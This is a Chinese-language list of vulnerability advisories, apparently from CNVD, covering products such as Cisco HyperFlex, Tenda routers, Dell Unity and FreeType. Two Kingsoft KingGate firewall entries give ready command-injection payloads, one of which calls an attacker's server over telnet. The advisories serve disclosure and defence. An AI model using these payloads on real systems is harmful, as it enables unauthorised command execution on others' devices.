严重程度：中
CNVD编号：CNVD-2020-19590
Cisco HyperFlex软件静态SSL密钥漏洞
Cisco HyperFlex是Cisco的超融合基础架构(HCI)平台，专为满足多云IT的需求而打造，可通过简单的超融合基础设施提供支持。Cisco HyperFlex软件4.0(1a)之前版本存在静态SSL密钥漏洞。该漏洞源于密钥管理不足。攻击者可通过获取集群的特定加密密钥对集群中的其他节点进行中间人攻击。
严重程度：中
CNVD编号：CNVD-2019-39700
CVE编号：CVE-2019-12621
Libmobi 0.11之前版本存在二进制漏洞（CNVD-2022-56619）
Libmobi是一个C库。用于处理Mobipocket/Kindle (MOBI) 电子书格式文档。Libmobi 0.11之前版本存在二进制漏洞，攻击者可利用该漏洞导致拒绝服务。
严重程度：中
CNVD编号：CNVD-2022-56619
金山KingGate防火墙ipmac.php页面中的IG_checkbox8参数存在远程命令执行漏洞
KingGate防火墙是一款防火墙产品。金山KingGate防火墙ipmac.php页面中的IG_checkbox8参数存在远程命令执行漏洞。允许攻击者提交POST请求为：IG_operation=IG_delete&IG_checkbox8=11;ifconfig||x即可执行系统命令。
严重程度：高
CNVD编号：CNVD-2016-06988
Adobe Commerce不当访问控制漏洞（CNVD-2024-41451）
Adobe Commerce是美国奥多比（Adobe）公司的一种面向商家和品牌的全球领先的数字商务解决方案。Adobe Commerce存在不当访问控制漏洞，攻击者可利用该漏洞导致安全功能绕过。
严重程度：中
CNVD编号：CNVD-2024-41451
CVE编号：CVE-2024-45130
D-Link DAP-1562空指针取消引用漏洞
D-Link DAP-1562是中国友讯（D-Link）公司的一款无线网桥。D-Link DAP-1562存在空指针取消引用漏洞，该漏洞源于HTTP POST Request Handler的函数pure_auth_check对参数a1存在空指针取消引用，目前没有详细的漏洞细节提供。
严重程度：中
CNVD编号：CNVD-2025-13070
CVE编号：CVE-2025-1877
Tenda AC7缓冲区溢出漏洞（CNVD-2025-08782）
Tenda AC7是中国腾达（Tenda）公司的一款无线路由器。Tenda AC7 15.03.06.44版本存在缓冲区溢出漏洞，该漏洞源于/goform/SetPptpServerCfg文件中的formSetPPTPServer函数对参数pptp_server_start_ip/pptp_server_end_ip的处理不当，攻击者可利用该漏洞在系统上执行任意代码或者导致拒绝服务。
严重程度：高
CNVD编号：CNVD-2025-08782
CVE编号：CVE-2025-3346
EDK II整数截断漏洞
EDK II是一个现代的、功能丰富的跨平台固件开发环境，适用于UEFI和UEFI平台初始化（PI）规范。EDK II存在整数截断漏洞，认证用户可利用该漏洞提升权限。
严重程度：中
CNVD编号：CNVD-2021-44757
CVE编号：CVE-2019-14563
金山KingGate防火墙存在远程命令执行漏洞（CNVD-2016-05715）
KingGate防火墙是一款防火墙产品。金山KingGate防火墙存在远程命令执行漏洞。构造URL：https://target/src/application/log/auditmail.php?IG_filename=1|telnet%20公网服务器ip%209527;echo%20&table_name=3333即可执行系统命令，上公网服务器监听9527端口可看到回显，允许攻击者远程执行命令。
严重程度：高
CNVD编号：CNVD-2016-05715
FreeType 'pcf_get_encodings'存在多个整数溢出漏洞
FreeType是一个流行的字体函数库。FreeType 'pcf_get_encodings'存在多个整数溢出漏洞，允许远程攻击者通过精心设计的PCF文件，指定负值发起拒绝服务攻击。
严重程度：中
CNVD编号：CNVD-2015-00986
CVE编号：CVE-2014-9670
Dell Unity跨站脚本漏洞（CNVD-2025-18244）
Dell Unity是美国戴尔（Dell）公司的一套虚拟Unity存储环境。Dell Unity 5.5及之前版本存在跨站脚本漏洞，该漏洞源于应用对用户提供的数据缺乏有效过滤与转义，攻击者可利用该漏洞通过注入精心设计的有效载荷执行任意Web脚本或HTML。
严重程度：中
CNVD编号：CNVD-2025-18244
CVE编号：CVE-2025-36605
网神SecFox安全审计系统存在弱口令漏洞
SecFox安全审计系统是网神信息技术（北京）股份有限公司的一款安全审计系统。网神SecFox安全审计系统存在弱口令漏洞，攻击者可利用该漏洞获取敏感信息。
严重程度：中
CNVD编号：CNVD-2021-24852
screen-resolution-extra安全绕过漏洞
screen-resolution-extra是使用在GNOME桌面中的屏幕分辨率扩展程序。screen-resolution-extra 0.17.2版本中的screenresolution-mechanism存在安全漏洞，该漏洞源于程序未能正确的使用PolicyKit D-Bus API。本地攻击者可利用该漏洞绕过访问限制。
严重程度：中
CNVD编号：CNVD-2018-08461
CVE编号：CVE-2018-8885
libming拒绝服务漏洞（CNVD-2018-10326）
libming是一个使用C语言编写的用于PHP、Perl等开发的系统中的Flash（SWF）输出库。libming 0.4.8及之前版本中的decompile.c文件的‘dcputs’函数存在安全漏洞，该漏洞源于程序未能正确的处理包头所显示文件大小大于实际大小的情况。远程攻击者可利用该漏洞造成拒绝服务（段错误和应用程序崩溃）。
严重程度：中
CNVD编号：CNVD-2018-10326
CVE编号：CVE-2018-11225
F5 BIG-IP信息泄露漏洞（CNVD-2018-15635）
F5 BIG-IP作为一个接入解决方案，为远程用户提供了SSL VPN远程接入、安全性、应用加速和高可用性服务。F5 BIG-IP存在信息泄露漏洞，该漏洞是由于F5 BIG-IP配置实用程序缺陷所致，攻击者可利用该漏洞在目标系统上查看文件。
严重程度：中
CNVD编号：CNVD-2018-15635
CVE编号：CVE-2018-5525
Automation DCISoft处理dci文件存在缓冲区溢出漏洞
Automation DCISoft是一款专用的电子绘图软件。Automation DCISoft存在缓冲区溢出漏洞，允许攻击者利用该漏洞来执行任意代码。
严重程度：低
CNVD编号：CNVD-2016-10324
ABB eSOMS SQL注入漏洞
ABB eSOMS是瑞士ABB公司的一套工厂运营管理系统。ABB eSOMS 6.0.3及之前版本中存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。
严重程度：高
CNVD编号：CNVD-2020-17170
CVE编号：CVE-2019-19094
Cisco HyperFlex System system logging信息泄露漏洞
Cisco HyperFlex System是美国思科（Cisco）公司的一款数据平台设备。system logging是其中的一个系统日志记录器。Cisco HyperFlex System中的system logging存在信息泄露漏洞，该漏洞源于程序未能正确的掩盖系统日志文件的敏感信息。已认证的本地攻击者可利用该漏洞查看敏感信息。
严重程度：中
CNVD编号：CNVD-2017-34916
CVE编号：CVE-2017-12315
OpenVPN内存双重释放漏洞
OpenVPN是美国OpenVPN公司的一个用于创建虚拟专用网络（VPN）加密通道的软件包，它使用OpenSSL库来加密数据与控制信息，并允许创建的VPN使用公开密钥、电子证书或者用户名/密码来进行身份验证。OpenVPN 2.4.6之前的2.4.x版本中的openvpnserv.exe文件存在安全漏洞。本地攻击者可通过向交互式服务发送畸形的请求利用该漏洞造成拒绝服务或提升权限（双重释放和内存破坏）。
严重程度：中
CNVD编号：CNVD-2018-10224
CVE编号：CVE-2018-9336
JetBrains TeamCity信息泄露漏洞
JetBrains TeamCity是由JetBrains开发的一款强大的持续集成和持续交付（CI/CD）工具。JetBrains TeamCity存在信息泄露漏洞，该漏洞源于base64编码密码暴露在构建日志中。攻击者可利用该漏洞获取用户的base64编码的密码。
严重程度：中
CNVD编号：CNVD-2025-13585
CVE编号：CVE-2025-31139
Micro Focus Rumba本地拒绝服务漏洞
Micro Focus Rumba FTP是英国Micro Focus公司的一款易于使用的图形化的FTP客户端文件传输工具。Micro Focus Rumba 9.4版本存在本地拒绝服务漏洞，攻击者可以利用该漏洞造成拒绝服务（程序崩溃）。
严重程度：低
CNVD编号：CNVD-2016-10529
CVE编号：CVE-2016-9176
IBM Sterling External Authentication Server和IBM Sterling Secure Proxy拒绝服务漏洞
IBM Sterling External Authentication Server和IBM Sterling Secure Proxy都是美国国际商业机器公司（IBM）的产品。IBM Sterling External Authentication Server和IBM Sterling Secure Proxy存在拒绝服务漏洞，攻击者可利用该漏洞导致由于资源泄漏而拒绝服务。
严重程度：中
CNVD编号：CNVD-2022-63373
CVE编号：CVE-2022-22336
Ruby 'lazy_initialize'函数命令注入漏洞
Ruby是日本软件开发者松本行弘所研发的一种跨平台、面向对象的动态类型编程语言。Ruby 2.4.3及之前的版本中的lib/resolv.rb文件的'lazy_initialize'函数存在命令注入漏洞。攻击者可利用该漏洞实施命令注入攻击。
严重程度：高
CNVD编号：CNVD-2018-01340
CVE编号：CVE-2017-17790
phpMyBackupPro多用户模式SQL注入漏洞
phpMyBackupPro是一款一个专业的MySql备份工具。phpMyBackupPro在多用户模式下未正确校验用户输入，允许远程攻击者利用漏洞提交特制的SQL查询，操作或获取数据库数据。
严重程度：高
CNVD编号：CNVD-2015-02950
CVE编号：CVE-2015-3637
Microsoft Edge远程权限提升漏洞
Microsoft Edge是内置于Windows 10版本中的网页浏览器。Microsoft Edge在about:blank空白页跨域策略实现中存在特权提升漏洞，允许攻击者访问某个域中信息并将其插入其他域。成功利用此漏洞的攻击者可以在受影响的Microsoft Edge版本中提升特权。
严重程度：中
CNVD编号：CNVD-2017-00429
CVE编号：CVE-2017-0002
ZoneMinder跨站脚本漏洞（CNVD-2019-04691）
ZoneMinder是一套开源的视频监控软件系统。该系统支持IP、USB和模拟摄像机等。ZoneMinder1.32.3及之前版本中的web/skins/classic/views/zones.php文件存在跨站脚本漏洞，攻击者可通过向index.php?view=zones&action=zoneImage&mid=1 URI发送特制的名称利用该漏洞执行HTML或JavaScript代码。
严重程度：低
CNVD编号：CNVD-2019-04691
CVE编号：CVE-2019-6990
Oracle Fusion Middleware WebCenter Portal访问控制错误漏洞（CNVD-2020-02562）
Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台，该平台提供了中间件、软件集合等功能。WebCenter Portal是其中的一个可将门户与企业应用程序进行无缝集成的组件。Oracle Fusion Middleware WebCenter Portal存在访问控制错误漏洞。攻击者可利用该漏洞未授权更新、插入或删除数据，影响数据的完整性。
严重程度：中
CNVD编号：CNVD-2020-02562
CVE编号：CVE-2019-2427
MOBOTIX M26存在未授权访问漏洞
MOBOTIX M26是MOBOTIX的一款摄像机。MOBOTIX M26存在未授权访问漏洞，攻击者可利用该漏洞获取敏感信息。
严重程度：中
CNVD编号：CNVD-2021-46882
PHPGurukul Hospital Management System SQL注入漏洞（CNVD-2021-45445）
PHPGurukul Hospital Management System是一款用于医院管理医生和患者的Web应用程序。PHPGurukul Hospital Management System 4.0版中的\hms\change-emaild.php存在SQL注入漏洞。攻击者可利用该漏洞获取数据库敏感信息。
严重程度：中
CNVD编号：CNVD-2021-45445
CVE编号：CVE-2020-22168
方正飞腾处理FIT文件内存破坏漏洞（CNVD-2016-12759）
方正飞腾是北京北大方正电子有限公司研发的一款集图像、文字和表格于一体的综合性排版软件。方正飞腾处理FIT文件存在内存破坏漏洞，允许攻击者利用该漏洞构造畸形的FIT文件使程序崩溃。
严重程度：中
CNVD编号：CNVD-2016-12759
MotoCMS代码执行漏洞
MotoCMS是MotoCMS公司的一个简单的网站构建器。MotoCMS存在代码执行漏洞，攻击者可利用该漏洞在系统上执行任意代码。
严重程度：高
CNVD编号：CNVD-2023-62829
CVE编号：CVE-2023-36210